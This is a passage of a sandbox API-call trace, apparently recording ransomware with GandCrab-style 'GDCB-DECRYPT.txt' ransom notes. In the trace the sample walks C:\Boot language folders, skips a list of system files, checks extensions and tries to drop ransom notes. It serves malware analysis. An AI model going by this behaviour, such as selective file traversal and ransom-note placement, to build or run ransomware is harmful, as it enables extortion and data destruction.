lpString1="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt" [0135.338] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.338] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned 30 [0135.338] lstrlenW (lpString="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned 30 [0135.338] lstrlenW (lpString="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned 30 [0135.338] lstrlenW (lpString="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned 30 [0135.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.339] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.339] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.339] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.339] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.339] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.339] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1 [0135.339] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1 [0135.339] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-CN" | out: lpString1="C:\\Boot\\zh-CN") returned="C:\\Boot\\zh-CN" [0135.339] lstrcatW (in: lpString1="C:\\Boot\\zh-CN", lpString2="\\" | out: lpString1="C:\\Boot\\zh-CN\\") returned="C:\\Boot\\zh-CN\\" [0135.339] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.339] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.339] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.339] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.339] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.339] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.340] lstrlenW (lpString="C:\\Boot\\zh-CN\\") returned 14 [0135.340] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-CN\\*") returned="C:\\Boot\\zh-CN\\*" [0135.340] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7500 [0135.340] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.340] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.340] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.340] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.340] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.340] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.340] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.340] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="C:\\Boot\\zh-CN\\bootmgr.exe.mui" [0135.340] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0135.340] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.340] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.340] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.340] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.340] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt" [0135.340] lstrlenW (lpString="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned 30 [0135.340] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.340] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.340] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.340] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.340] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-CN\\memtest.exe.mui") returned="C:\\Boot\\zh-CN\\memtest.exe.mui" [0135.340] lstrlenW (lpString="C:\\Boot\\zh-CN\\memtest.exe.mui") returned 29 [0135.340] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.340] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.340] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.340] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.341] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\zh-CN\\\\GDCB-DECRYPT.txt") returned 31 [0135.341] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\zh-cn\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.342] GetLastError () returned 0x50 [0135.342] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.342] lstrlenW (lpString="C:\\Boot\\zh-CN\\") returned 14 [0135.342] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-CN\\*") returned="C:\\Boot\\zh-CN\\*" [0135.342] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7780 [0135.342] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.342] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.342] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.342] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.342] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.342] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.342] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.342] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="C:\\Boot\\zh-CN\\bootmgr.exe.mui" [0135.342] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.343] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0135.343] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0135.343] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.343] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.343] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.343] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.343] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt" [0135.343] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.343] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned 30 [0135.343] lstrlenW (lpString="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned 30 [0135.343] lstrlenW (lpString="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned 30 [0135.343] lstrlenW (lpString="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned 30 [0135.343] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.343] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.343] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.343] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.343] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.343] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.343] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.343] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.343] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.343] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.343] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.343] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.343] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.343] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-CN\\memtest.exe.mui") returned="C:\\Boot\\zh-CN\\memtest.exe.mui" [0135.343] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.344] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-CN\\memtest.exe.mui") returned 29 [0135.344] lstrlenW (lpString="C:\\Boot\\zh-CN\\memtest.exe.mui") returned 29 [0135.344] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.344] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.344] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.344] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.344] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1 [0135.344] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1 [0135.344] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-HK" | out: lpString1="C:\\Boot\\zh-HK") returned="C:\\Boot\\zh-HK" [0135.344] lstrcatW (in: lpString1="C:\\Boot\\zh-HK", lpString2="\\" | out: lpString1="C:\\Boot\\zh-HK\\") returned="C:\\Boot\\zh-HK\\" [0135.344] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.344] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.344] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.344] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.344] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.344] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.344] lstrlenW (lpString="C:\\Boot\\zh-HK\\") returned 14 [0135.344] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-HK\\*") returned="C:\\Boot\\zh-HK\\*" [0135.344] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c76c0 [0135.345] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.345] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.345] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.345] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.345] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.345] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.345] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.345] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="C:\\Boot\\zh-HK\\bootmgr.exe.mui" [0135.345] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0135.345] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.345] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.345] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.345] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.345] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt" [0135.345] lstrlenW (lpString="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned 30 [0135.345] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.345] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.345] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.345] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.345] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-HK\\memtest.exe.mui") returned="C:\\Boot\\zh-HK\\memtest.exe.mui" [0135.345] lstrlenW (lpString="C:\\Boot\\zh-HK\\memtest.exe.mui") returned 29 [0135.345] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.345] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.345] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.345] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.345] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\zh-HK\\\\GDCB-DECRYPT.txt") returned 31 [0135.345] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\zh-hk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.346] GetLastError () returned 0x50 [0135.346] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.346] lstrlenW (lpString="C:\\Boot\\zh-HK\\") returned 14 [0135.346] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-HK\\*") returned="C:\\Boot\\zh-HK\\*" [0135.346] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7700 [0135.346] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.346] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.346] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.346] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.346] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.346] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.346] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.346] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="C:\\Boot\\zh-HK\\bootmgr.exe.mui" [0135.346] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.346] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0135.347] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0135.347] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.347] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.347] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.347] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.347] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt" [0135.347] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.347] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned 30 [0135.347] lstrlenW (lpString="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned 30 [0135.347] lstrlenW (lpString="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned 30 [0135.347] lstrlenW (lpString="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned 30 [0135.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.347] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.347] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.347] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.347] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.347] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-HK\\memtest.exe.mui") returned="C:\\Boot\\zh-HK\\memtest.exe.mui" [0135.347] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.348] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-HK\\memtest.exe.mui") returned 29 [0135.348] lstrlenW (lpString="C:\\Boot\\zh-HK\\memtest.exe.mui") returned 29 [0135.348] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.348] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.348] FindClose (in: hFindFile=0x2c7700 | out: hFindFile=0x2c7700) returned 1 [0135.348] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.348] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1 [0135.348] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1 [0135.348] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-TW" | out: lpString1="C:\\Boot\\zh-TW") returned="C:\\Boot\\zh-TW" [0135.348] lstrcatW (in: lpString1="C:\\Boot\\zh-TW", lpString2="\\" | out: lpString1="C:\\Boot\\zh-TW\\") returned="C:\\Boot\\zh-TW\\" [0135.348] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.348] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.348] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.348] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.348] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.348] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.348] lstrlenW (lpString="C:\\Boot\\zh-TW\\") returned 14 [0135.348] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-TW\\*") returned="C:\\Boot\\zh-TW\\*" [0135.348] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7900 [0135.349] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.349] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.349] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.349] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.349] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.349] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.349] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.349] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="C:\\Boot\\zh-TW\\bootmgr.exe.mui" [0135.349] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0135.349] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.349] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.349] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.349] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.349] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt" [0135.349] lstrlenW (lpString="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned 30 [0135.349] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.349] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.349] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.349] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.349] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-TW\\memtest.exe.mui") returned="C:\\Boot\\zh-TW\\memtest.exe.mui" [0135.349] lstrlenW (lpString="C:\\Boot\\zh-TW\\memtest.exe.mui") returned 29 [0135.349] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.349] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.349] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.349] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.350] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\zh-TW\\\\GDCB-DECRYPT.txt") returned 31 [0135.350] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\zh-tw\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.350] GetLastError () returned 0x50 [0135.350] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.350] lstrlenW (lpString="C:\\Boot\\zh-TW\\") returned 14 [0135.350] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-TW\\*") returned="C:\\Boot\\zh-TW\\*" [0135.350] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7500 [0135.350] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.350] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.350] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.350] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.350] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 